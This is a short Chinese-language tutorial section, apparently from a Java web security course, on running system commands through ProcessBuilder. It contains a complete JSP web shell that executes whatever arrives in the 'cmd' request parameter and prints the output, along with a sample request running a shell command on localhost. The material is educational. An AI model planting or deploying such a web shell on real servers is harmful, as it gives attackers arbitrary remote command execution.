3. ProcessBuilder命令执行

学习Runtime命令执行的时候我们讲到其最终exec方法会调用ProcessBuilder来执行本地命令，那么我们只需跟踪下Runtime的exec方法就可以知道如何使用ProcessBuilder来执行系统命令了。
process_builder.jsp命令执行测试

<%--
  Created by IntelliJ IDEA.
  User: yz
  Date: 2019/12/6
  Time: 10:26 上午
  To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.InputStream" %>
<%
    InputStream in = new ProcessBuilder(request.getParameterValues("cmd")).start().getInputStream();
    ByteArrayOutputStream baos = new ByteArrayOutputStream();
    byte[] b = new byte[1024];
    int a = -1;
    while ((a = in.read(b)) != -1) {
        baos.write(b, 0, a);
    }
    out.write("<pre>" + new String(baos.toByteArray()) + "</pre>");
%>

执行一个稍微复杂点的命令：/bin/sh -c "cd /Users/;ls -la;",浏览器请求:http://localhost:8080/process_builder.jsp?cmd=/bin/sh&cmd=-c&cmd=cd%20/Users/;ls%20-la